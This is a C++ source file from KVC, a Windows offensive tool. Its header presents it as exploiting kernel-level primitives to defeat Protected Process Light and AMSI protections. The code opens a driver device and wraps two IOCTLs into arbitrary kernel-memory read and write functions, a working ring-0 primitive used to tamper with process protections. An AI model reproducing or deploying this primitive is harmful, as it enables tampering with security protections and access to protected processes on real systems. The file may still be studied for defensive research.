169 lines
5.6 KiB
C++
169 lines
5.6 KiB
C++
/*******************************************************************************
|
|
_ ____ ______
|
|
| |/ /\ \ / / ___|
|
|
| ' / \ \ / / |
|
|
| . \ \ V /| |___
|
|
|_|\_\ \_/ \____|
|
|
|
|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
|
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
|
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
|
of kernel-level primitives** for legitimate security research and penetration testing.
|
|
|
|
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
|
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
|
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
|
that define these protections.
|
|
|
|
-----------------------------------------------------------------------------
|
|
Author : Marek Wesołowski
|
|
Email : marek@wesolowski.eu.org
|
|
Phone : +48 607 440 283 (Tel/WhatsApp)
|
|
Date : 04-09-2025
|
|
|
|
*******************************************************************************/
|
|
|
|
// KvcDrv.cpp
|
|
#include "kvcDrv.h"
|
|
#include "common.h"
|
|
#include <format>
|
|
|
|
// IOCTL command codes for KVC driver communication
|
|
constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048;
|
|
constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c;
|
|
|
|
kvc::kvc() = default;
|
|
|
|
kvc::~kvc() {
|
|
Cleanup();
|
|
}
|
|
|
|
// Force cleanup for atomic driver operations - critical for stability
|
|
void kvc::Cleanup() noexcept {
|
|
DEBUG(L"kvc::Cleanup() called");
|
|
|
|
if (m_deviceHandle) {
|
|
DEBUG(L"Closing device handle...");
|
|
// Force the handle to close
|
|
FlushFileBuffers(m_deviceHandle.get());
|
|
m_deviceHandle.reset(); // This should close the handle
|
|
}
|
|
|
|
m_deviceName.clear();
|
|
DEBUG(L"kvc cleanup completed");
|
|
}
|
|
|
|
bool kvc::IsConnected() const noexcept {
|
|
return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE;
|
|
}
|
|
|
|
// Driver connection establishment with device path
|
|
bool kvc::Initialize() noexcept {
|
|
if (IsConnected()) {
|
|
return true;
|
|
}
|
|
|
|
if (m_deviceName.empty()) {
|
|
m_deviceName = L"\\\\.\\" + GetServiceName();
|
|
}
|
|
|
|
if (!InitDynamicAPIs()) return false;
|
|
|
|
// SIMPLE DEVICE OPEN - without test operations
|
|
HANDLE rawHandle = g_pCreateFileW(m_deviceName.c_str(),
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
0, nullptr, OPEN_EXISTING, 0, nullptr);
|
|
|
|
if (rawHandle == INVALID_HANDLE_VALUE) {
|
|
return false; // Silently fail - this is normal when the driver is not running
|
|
}
|
|
|
|
m_deviceHandle = UniqueHandle(rawHandle);
|
|
return true;
|
|
}
|
|
|
|
// Memory read operations with type safety
|
|
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept {
|
|
auto value = Read32(address);
|
|
if (!value.has_value()) return std::nullopt;
|
|
return static_cast<BYTE>(value.value() & 0xff);
|
|
}
|
|
|
|
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept {
|
|
auto value = Read32(address);
|
|
if (!value.has_value()) return std::nullopt;
|
|
return static_cast<WORD>(value.value() & 0xffff);
|
|
}
|
|
|
|
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept {
|
|
return Read(address, sizeof(DWORD));
|
|
}
|
|
|
|
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept {
|
|
auto low = Read32(address);
|
|
auto high = Read32(address + 4);
|
|
|
|
if (!low || !high) return std::nullopt;
|
|
|
|
return (static_cast<DWORD64>(high.value()) << 32) | low.value();
|
|
}
|
|
|
|
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept {
|
|
#ifdef _WIN64
|
|
auto value = Read64(address);
|
|
if (!value.has_value()) return std::nullopt;
|
|
return static_cast<ULONG_PTR>(value.value());
|
|
#else
|
|
auto value = Read32(address);
|
|
if (!value.has_value()) return std::nullopt;
|
|
return static_cast<ULONG_PTR>(value.value());
|
|
#endif
|
|
}
|
|
|
|
// Memory write operations with type safety
|
|
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept {
|
|
return Write(address, sizeof(value), value);
|
|
}
|
|
|
|
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept {
|
|
return Write(address, sizeof(value), value);
|
|
}
|
|
|
|
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept {
|
|
return Write(address, sizeof(value), value);
|
|
}
|
|
|
|
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept {
|
|
DWORD low = static_cast<DWORD>(value & 0xffffffff);
|
|
DWORD high = static_cast<DWORD>((value >> 32) & 0xffffffff);
|
|
return Write32(address, low) && Write32(address + 4, high);
|
|
}
|
|
|
|
// Low-level driver communication via IOCTL
|
|
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept {
|
|
RTC_MEMORY_READ memoryRead{};
|
|
memoryRead.Address = address;
|
|
memoryRead.Size = valueSize;
|
|
|
|
if (!Initialize()) return std::nullopt;
|
|
|
|
DWORD bytesReturned = 0;
|
|
if (!DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_READ,
|
|
&memoryRead, sizeof(memoryRead), &memoryRead, sizeof(memoryRead), &bytesReturned, nullptr))
|
|
return std::nullopt;
|
|
|
|
return memoryRead.Value;
|
|
}
|
|
|
|
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept {
|
|
RTC_MEMORY_WRITE memoryWrite{};
|
|
memoryWrite.Address = address;
|
|
memoryWrite.Size = valueSize;
|
|
memoryWrite.Value = value;
|
|
|
|
if (!Initialize()) return false;
|
|
|
|
DWORD bytesReturned = 0;
|
|
return DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_WRITE,
|
|
&memoryWrite, sizeof(memoryWrite), &memoryWrite, sizeof(memoryWrite), &bytesReturned, nullptr);
|
|
} |